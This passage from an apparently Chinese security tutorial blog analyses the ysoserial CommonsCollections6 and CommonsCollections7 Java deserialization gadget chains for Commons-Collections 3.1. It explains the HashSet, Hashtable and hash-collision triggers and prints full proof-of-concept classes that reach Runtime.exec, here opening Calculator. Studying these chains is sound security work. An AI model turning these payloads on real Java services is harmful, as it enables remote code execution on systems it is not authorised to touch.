            <version>3.1</version>
        </dependency>
    </dependencies>

</project>

前置知识

HashSet

HashSet是一个无序的、不允许有重复元素的集合,本质上就是由HashMap实现的,跟HashMap一样,都是一个存放链表的数组,HashSet中的元素都存放在HashMapkey上面,而value中的值都是统一的一个private static final Object PRESENT = new Object();,在HashSetreadObject方法中会调用其内部HashMapput方法,将值放在key上。

undefined

CommonsCollections6 分析

CommonsCollections5中,通过对TiedMapEntry#toString方法的调用,触发了TiedMapEntry#getValue,继而触发了LazyMap#get来完成后半段的调用;而在CommonsCollections6中则是通过TiedMapEntry#hashCode触发对TiedMapEntry#getValue的调用,但是需要找到一个触发hashcode()方法的点,因此利用前置知识中的HashSet()方法来触发hashCode()方法。

HashSet#readObject方法中,跟进put()方法,进入java.util.HashMap中调用put()方法,接着调用hash()方法,进而调用key.hashCode(),这里只需要让keyTiedMapEntry对象即可。

undefined

undefined

但是在实际利用是需要解决一个问题,那就是在调用put方法的时候就触发命令执行的问题,P牛对此的解决方法是outerMap.remove("h3rmesk1t");,成功在反序列化的时候也触发了命令执行。

package CommonsCollections6;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.util.HashMap;
import java.util.Map;

/**
 * @Author: H3rmesk1t
 * @Data: 2021/11/30 4:38 下午
 */
public class FakeDemo {

    public static void fakeDemo() throws IOException, ClassNotFoundException {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a /System/Applications/Calculator.app"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map hashMap = new HashMap();
        Map map = LazyMap.decorate(hashMap, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(map, "h3rmesk1t");
        Map expMap = new HashMap();
        expMap.put(tiedMapEntry, "d1no");
        map.remove("h3rmesk1t");

        try {
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
            objectOutputStream.writeObject(expMap);
            objectOutputStream.close();

            ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
            ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
            objectInputStream.readObject();
            objectInputStream.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) {
        try {
            fakeDemo();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

undefined

undefined

POC

为了解决上述出现的问题,在构造LazyMap的时候先构造一个fakeTransformers对象,等最后⽣成Payload的时候,再利用反射将真正的transformers替换进去。

package CommonsCollections6;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

/**
 * @Author: H3rmesk1t
 * @Data: 2021/11/30 4:29 下午
 */
public class CommonsCollections6Gadget1 {

    public static void CC6() throws IllegalAccessException, NoSuchFieldException {
        Transformer[] fakeTransformers = new Transformer[] {};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a /System/Applications/Calculator.app"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);

        Map hashMap = new HashMap();
        Map map = LazyMap.decorate(hashMap, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(map, "h3rmesk1t");
        Map expMap = new HashMap();
        expMap.put(tiedMapEntry, "d1no");
        map.remove("h3rmesk1t");
        Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(chainedTransformer, transformers);
        //map.clear();

        try {
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
            objectOutputStream.writeObject(expMap);
            objectOutputStream.close();

            ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
            ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
            objectInputStream.readObject();
            objectInputStream.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) {
        try {
            CC6();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

undefined

调用链

HashSet.readObject()/HashMap.readObject()
    HashMap.put()
        HashMap.hash()
            TiedMapEntry.hashCode()
                LazyMap.get()
                    ChainedTransformer.transform()
                        InvokerTransformer.transform()

总结

反序列化调用TiedMapEntrytoString方法,间接调用LazyMaphashCode方法,触发了后续的Transformer恶意执行链。

 

CommonsCollections7链

环境搭建

  1. JDK版本:JDK1.8u66
  2. Commons-Collections版本:3.1

利用maven来进行搭建,先创建一个Maven项目,不用选择任何Maven模板,pom.xml中内容如下,之后选择右侧的更新,让其自动导入包即可。

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>commons-collections</artifactId>
    <version>1.0-SNAPSHOT</version>

    <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>
    </dependencies>

</project>

前置知识

Hashtable

HashtableHashMap类似,都是是一种key-value形式的哈希表。

[1] Hashtable 线程安全,HashMap 线程不安全
[2] HashMap 继承 AbstractMap,而 Hashtable 继承 Dictionary
[3] 两者内部基本都是使用“数组-链表”的结构,但是 HashMap 引入了红黑树的实现
[4] Hashtable 的 key-value 不允许为 null 值,但是 HashMap 则是允许的,后者会将 key=null 的实体放在 index=0 的位置

跟进Hashtable发现,在readObject方法中,会调用reconstitutionPut()方法,并在reconstitutionPut()方法中会调用key.hashCode(),后续的调用逻辑和CommonsCollections6链基本一致

undefined

哈希碰撞机制

ProgrammerSought上给出的说法是:

The so-called hash conflict, that is, the two key values ​​are calculated by the hash function to obtain the same hash value, and a subscript can only store one key, which produces a hash conflict, if the subscript one of the keys first Saved, the other key must find its own storage location by other means.

也就是说,当两个不同的key通过hash()方法计算出同一个hash值时,而一个下标只能存储一个key,这就产生了hash冲突。

那么要如何构造出一个hash冲突呢,跟进HashMap#hash方法。

undefined

继续跟进hashcode()方法,根据for循环中的代码,不难推出Hash值的计算公式

undefined

undefined

这也就不难解释为什么ysoserial项目中的CommonsCollections7链中是yyzZ了,需要时,利用z3来计算字符串位数不一样情况下的可能值即可。

ord("y") == 121
ord("z") == 122
ord("Z") == 90
"yy".hashCode() == 31 × 121 + 1 × 121 == 3872
"zZ".hashCode() == 31 × 122 + 1 × 90 == 3872
"yy".hashCode() == "zZ".hashCode() == 3872

CommonsCollections7 分析

CommonsCollections链中,利用AbstractMap#equals来触发对LazyMap#get方法的调用,这里的m如果是可控的话,那么设置mLazyMap,就可以完成后面的链子构造。

undefined

继续跟进看看equals方法的调用点在哪,在前面的Hashtable#reconstitutionPut方法中存在着调用点:e.key.equals(key),如果这里的key可控的话,上面的m也就是可控的。

观察到在readObject方法中传递进去的key,相应的,那么在writeObject处也会存在Hashtable#put进入的值。

undefined

这里还需要注意一个点,由于if语句是用&&连接判断条件的,那么要执行到后面的e.key.equals(key),就必须先要满足e.hash == hash,接着调用equals方法,这里利用到了Hash冲突(Hash碰撞)机制。

undefined

POC中移除第二个LazyMap中的元素是因为get方法向当前的map添加了新元素,从而map2变成了两个元素。

undefined

POC

package CommonsCollections7;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

/**
 * @Author: H3rmesk1t
 * @Data: 2021/11/30 6:40 下午
 */
public class CommonsCollections7Gadget {

    public static void CC7() throws NoSuchFieldException, IllegalAccessException {
        Transformer[] faketransformer = new Transformer[]{};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a /System/Applications/Calculator.app"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(faketransformer);

        Map hashMap1 = new HashMap();
        Map hashMap2 = new HashMap();

        Map map1 = LazyMap.decorate(hashMap1, chainedTransformer);
        map1.put("yy", 1);
        Map map2 = LazyMap.decorate(hashMap2, chainedTransformer);
        map2.put("zZ", 1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(map1, 1);
        hashtable.put(map2, 1);
        Class _class = chainedTransformer.getClass();
        Field field = _class.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(chainedTransformer, transformers);
        map2.remove("yy");

        try {
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
            objectOutputStream.writeObject(hashtable);
            objectOutputStream.close();

            ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
            ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
            objectInputStream.readObject();
            objectInputStream.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) {
        try {
            CC7();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

undefined

调用链

Hashtable.readObject()
   TiedMapEntry.hashCode()
        LazyMap.get()
            ChainedTransformer.transform()
                ConstantTransformer.transform()
                    InvokerTransformer.transform()

总结

主体思想是用Hashtable代替HashMap触发LazyMap,后续利用与CommonsCollections6链的HashMap利用方式基本一致。

 

后言

本文从Java反射入手,逐步分析了ysoserial项目中的URLDNS链和CommonsCollections1CommonsCollections7链,在实战中和CTF竞赛中往往需要对现有的链子进行改造,但是根本的思想还是类似的,由于自己在分析的过程中还有很多的不足以及不理解的地方,对于文章中的错误欢迎师傅们进行指正。

关闭